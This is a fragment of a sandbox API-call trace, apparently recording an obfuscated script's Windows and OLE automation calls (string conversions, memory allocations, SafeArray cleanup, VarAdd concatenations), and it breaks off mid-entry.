[0019.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=13, lpWideCharStr=0x305060, cchWideChar=13 | out: lpWideCharStr="_B_var_jtZKi") returned 13 [0019.171] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd5b0000 [0019.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7b4ec, cbMultiByte=10, lpWideCharStr=0xd5b2a64, cchWideChar=22 | out: lpWideCharStr="zizRWCfXWF") returned 10 [0019.172] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd5c0000 [0019.174] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="ZwAfuLkJl" | out: _Dst="ZwAfuLkJl") returned 0x0 [0019.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="ZwAfuLkJl") returned 10 [0019.174] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_ZwAfuLkJl" | out: _Dst="_B_var_ZwAfuLkJl") returned 0x0 [0019.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_ZwAfuLkJl") returned 17 [0019.174] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd5d0000 [0019.175] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="NzjTufubt" | out: _Dst="NzjTufubt") returned 0x0 [0019.175] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="NzjTufubt") returned 10 [0019.175] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_NzjTufubt" | out: _Dst="_B_var_NzjTufubt") returned 0x0 [0019.175] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_NzjTufubt") returned 17 [0019.181] IMalloc:Free (This=0x7fefe9e5380, pv=0x790c1c0) [0019.181] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0x7a7e220 | out: ppsaOut=0x7a7e220) returned 0x0 [0019.181] SafeArrayAllocData (psa=0x75d7fa0) returned 0x0 [0019.182] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0019.182] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0019.232] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0019.232] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0019.233] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0019.233] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0019.233] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0019.233] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0019.233] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0019.233] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0019.234] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0019.234] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0019.234] SafeArrayDestroyData (psa=0x75d7fa0) returned 0x0 [0019.234] SafeArrayDestroyDescriptor (psa=0x75d7fa0) returned 0x0 [0019.235] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.235] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.235] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.235] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.236] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.236] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.236] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.236] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.237] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.237] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.237] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.237] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.238] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.238] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.238] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.238] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.239] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.239] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.239] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.239] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.239] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.239] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.240] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.240] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.240] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.240] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.241] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.241] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.241] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.241] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.242] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.242] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.242] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.242] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.243] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.243] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.243] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.243] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.244] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.244] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.244] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.244] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.244] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.244] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.244] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.244] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.244] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.244] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.244] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.244] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.244] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.244] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.244] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.245] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.245] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.245] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.245] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.245] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.245] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.245] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.245] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.245] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.245] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.245] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.245] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.245] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.245] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.245] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.245] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.245] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.245] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.246] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.246] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.246] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.246] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.246] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.246] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.246] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.246] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.246] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.246] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.246] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.246] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.246] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.246] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.246] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.246] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.246] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.246] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.246] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.247] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.247] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.247] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.247] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.247] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.247] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.247] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.247] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.247] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.247] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.247] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.247] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.247] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.247] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.247] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.247] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.247] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.247] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.247] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.247] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.248] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.248] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.248] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.248] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.248] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.248] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.248] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.248] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.248] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.248] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.248] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.248] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.248] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.248] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.249] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.249] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.249] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.249] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.249] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.249] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.249] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.250] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.250] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.250] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.250] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.250] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.250] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.250] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.250] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.250] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.250] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.250] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.250] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.250] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.250] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.250] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.250] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.250] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.250] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.251] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.251] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.251] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.251] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.251] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.251] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.251] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.251] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.251] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.251] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.251] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.251] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.251] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.251] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.251] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.251] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.251] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.251] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.251] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.252] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.252] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.252] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.252] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.252] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.252] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.252] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.252] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.252] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.252] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.252] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.252] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.252] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.252] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.252] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.252] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.252] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.252] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.253] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.253] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.253] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.253] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.253] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.253] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.253] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.253] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.253] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.253] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.253] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.253] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.253] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.253] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.253] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.253] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.253] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.253] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.253] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.253] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.254] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.254] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.254] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.254] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.254] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.254] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.254] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.254] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.254] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.254] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.254] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.254] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.254] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.254] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.254] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.254] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.254] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.254] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.255] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.255] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.255] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.255] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.255] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.255] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.255] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.255] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.255] VarAdd (in: pvarLeft=0x7a7d8a8, pvarRight=0x7a7d1e8, pvarResult=0x7a7e208 | out: pvarResult=0x7a7e208) returned 0x0 [0019.255] VarAdd (in: pvarLeft=0x7a7e208, pvarRight=0x7a7d6c8, pvarResult=0x7a7e1f0 | out: pvarResult=0x7a7e1f0) returned 0x0 [0019.255] VarAdd (in: pvarLeft=0x7a7e1f0, pvarRight=0x7a7dc68, pvarResult=0x7a7e1d8 | out: pvarResult=0x7a7e1d8) returned 0x0 [0019.255] VarAdd (in: pvarLeft=0x7a7e1d8, pvarRight=0x7a7de48, pvarResult=0x7a7e1c0 | out: pvarResult=0x7a7e1c0) returned 0x0 [0019.255] VarAdd (in: pvarLeft=0x7a7e1c0, pvarRight=0x7a7d9c8, pvarResult=0x7a7e1a8 | out: pvarResult=0x7a7e1a8) returned 0x0 [0019.255] VarAdd (in: pvarLeft=0x7a7e1a8, pvarRight=0x7a7d248, pvarResult=0x7a7e190 | out: pvarResult=0x7a7e190) returned 0x0 [0019.255] VarAdd (in: pvarLeft=0x7a7e190, pvarRight=0x7a7d2a8, pvarResult=0x7a7e178 | out: pvarResult=0x7a7e178) returned 0x0 [0019.255] VarAdd (in: pvarLeft=0x7a7e178, pvarRight=0x7a7da88, pvarResult=0x7a7e160 | out: pvarResult=0x7a7e160) returned 0x0 [0019.255] VarAdd (in: pvarLeft=0x7a7e160, pvarRight=0x7a7dde8, pvarResult=0x7a7e148 | out: pvarResult=0x7a7e148) returned 0x0 [0019.255] VarAdd (in: pvarLeft=0x7a7e148, pvarRight=0x7a7e088, pvarResult=0x7a7d1a0 | out: pvarResult=0x7a7d1a0) returned 0x0 [0019.255] VarAdd (in: pvarLeft=0x7a7d1a0, pvarRight=0x7a7d368, pvarResult=0x7a7d188 | out: pvarResult=0x7a7d188) returned 0x0 [0019.255] VarAdd (in: pvarLeft=0x7a7d188, pvarRight=0x7a7d3c8, pvarResult=0x7a7d170 | out: pvarResult=0x7a7d170) returned 0x0 [0019.255] VarAdd (in: pvarLeft=0x7a7d170, pvarRight=0x7a7dd28, pvarResult=0x7a7d158 | out: pvarResult=0x7a7d158) returned 0x0 [0019.255] VarAdd (in: pvarLeft=0x7a7d158, pvarRight=0x7a7d548, pvarResult=0x7a7d140 | out: pvarResult=0x7a7d140) returned 0x0 [0019.255] VarAdd (in: pvarLeft=0x7a7d140, pvarRight=0x7a7dea8, pvarResult=0x7a7d128 | out: pvarResult=0x7a7d128) returned 0x0 [0019.255] VarAdd (in: pvarLeft=0x7a7d128, pvarRight=0x7a7d788, pvarResult=0x7a7d110 | out: pvarResult=0x7a7d110) returned 0x0 [0019.255] VarAdd (in: pvarLeft=0x7a7d110, pvarRight=0x7a7d428, pvarResult=0x7a7d0f8 | out: pvarResult=0x7a7d0f8) returned 0x0 [0019.255] VarAdd (in: pvarLeft=0x7a7d0f8, pvarRight=0x7a7dcc8, pvarResult=0x7a7d0e0 | out: pvarResult=0x7a7d0e0) returned 0x0 [0019.255] VarAdd (in: pvarLeft=0x7a7d0e0, pvarRight=0x7a7d968, pvarResult=0x7a7d0c8 | out: pvarResult=0x7a7d0c8) returned 0x0 [0019.256] VarAdd (in: pvarLeft=0x7a7d0c8, pvarRight=0x7a7d848, pvarResult=0x7a7d0b0 | out: pvarResult=0x7a7d0b0) returned 0x0 [0019.256] VarAdd (in: pvarLeft=0x7a7d0b0, pvarRight=0x7a7dba8, pvarResult=0x7a7d098 | out: pvarResult=0x7a7d098) returned 0x0 [0019.256] VarAdd (in: pvarLeft=0x7a7d098, pvarRight=0x7a7d5a8, pvarResult=0x7a7d080 | out: pvarResult=0x7a7d080) returned 0x0 [0019.256] VarAdd (in: pvarLeft=0x7a7d080, pvarRight=0x7a7df08, pvarResult=0x7a7d068 | out: pvarResult=0x7a7d068) returned 0x0 [0019.256] VarAdd (in: pvarLeft=0x7a7d068, pvarRight=0x7a7d7e8, pvarResult=0x7a7d050 | out: pvarResult=0x7a7d050) returned 0x0 [0019.256] VarAdd (in: pvarLeft=0x7a7d050, pvarRight=0x7a7dc08, pvarResult=0x7a7d038 | out: pvarResult=0x7a7d038) returned 0x0 [0019.256] VarAdd (in: pvarLeft=0x7a7d038, pvarRight=0x7a7d608, pvarResult=0x7a7d020 | out: pvarResult=0x7a7d020) returned 0x0 [0019.256] VarAdd (in: pvarLeft=0x7a7d020, pvarRight=0x7a7d308, pvarResult=0x7a7d008 | out: pvarResult=0x7a7d008) returned 0x0 [0019.256] VarAdd (in: pvarLeft=0x7a7d008, pvarRight=0x7a7d728, pvarResult=0x7a7cff0 | out: pvarResult=0x7a7cff0) returned 0x0 [0019.256] VarAdd (in: pvarLeft=0x7a7cff0, pvarRight=0x7a7e0e8, pvarResult=0x7a7cfd8 | out: pvarResult=0x7a7cfd8) returned 0x0 [0019.256] VarAdd (in: pvarLeft=0x7a7cfd8, pvarRight=0x7a7d908, pvarResult=0x7a7cfc0 | out: pvarResult=0x7a7cfc0) returned 0x0 [0019.256] VarAdd (in: pvarLeft=0x7a7cfc0, pvarRight=0x7a7dd88, pvarResult=0x7a7cfa8 | out: pvarResult=0x7a7cfa8) returned 0x0 [0019.256] VarAdd (in: pvarLeft=0x7a7cfa8, pvarRight=0x7a7dae8, pvarResult=0x7a7cf90 | out: pvarResult=0x7a7cf90) returned 0x0 [0019.256] VarAdd (in: pvarLeft=0x7a7cf90, pvarRight=0x7a7db48, pvarResult=0x7a7cf78 | out: pvarResult=0x7a7cf78) returned 0x0 [0019.256] VarAdd (in: pvarLeft=0x7a7cf78, pvarRight=0x7a7e028, pvarResult=0x7a7cf60 | out: pvarResult=0x7a7cf60) returned 0x0 [0019.256] VarAdd (in: pvarLeft=0x7a7cf60, pvarRight=0x7a7df68, pvarResult=0x7a7cf48 | out: pvarResult=0x7a7cf48) returned 0x0 [0019.256] VarAdd (in: pvarLeft=0x7a7cf48, pvarRight=0x7a7da28, pvarResult=0x7a7cf30 | out: pvarResult=0x7a7cf30) returned 0x0 [0019.256] VarAdd (in: pvarLeft=0x7a7cf30, pvarRight=0x7a7d668, pvarResult=0x7a7cf18 | out: pvarResult=0x7a7cf18) returned 0x0 [0019.256] VarAdd (in: pvarLeft=0x7a7cf18, pvarRight=0x7a7d4e8, pvarResult=0x7a7cf00 | out: pvarResult=0x7a7cf00) returned 0x0 [0019.256] VarAdd (in: pvarLeft=0x7a7cf00, pvarRight=0x7a7dfc8, pvarResult=0x7a7cee8 | out: pvarResult=0x7a7cee8) returned 0x0 [0019.256] VarAdd (in: pvarLeft=0x7a7cee8, pvarRight=0x7a7d488, pvarResult=0x7a7ced0 | out: pvarResult=0x7a7ced0) returned 0x0 [0019.256] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.256] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.256] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0x7a7e220 | out: ppsaOut=0x7a7e220) returned 0x0 [0019.256] SafeArrayAllocData (psa=0x75e8b60) returned 0x0 [0019.256] SafeArrayDestroyData (psa=0x75e8b60) returned 0x0 [0019.256] SafeArrayDestroyDescriptor (psa=0x75e8b60) returned 0x0 [0019.257] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd5e0000 [0019.258] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x318) returned 0x79256c0 [0019.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6ae46, cbMultiByte=10, lpWideCharStr=0xd5e0526, cchWideChar=22 | out: lpWideCharStr="OqDFoPqEIA") returned 10 [0019.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6ae5a, cbMultiByte=10, lpWideCharStr=0xd5e06d0, cchWideChar=22 | out: lpWideCharStr="FwIASitCzI") returned 10 [0019.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6ae6e, cbMultiByte=10, lpWideCharStr=0xd5e087a, cchWideChar=22 | out: lpWideCharStr="lOrzRWnnCB") returned 10 [0019.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6ae82, cbMultiByte=10, lpWideCharStr=0xd5e0a24, cchWideChar=22 | out: lpWideCharStr="JcHQXMXklF") returned 10 [0019.259] MultiByteToWideChar (in: CodePage=0x0, 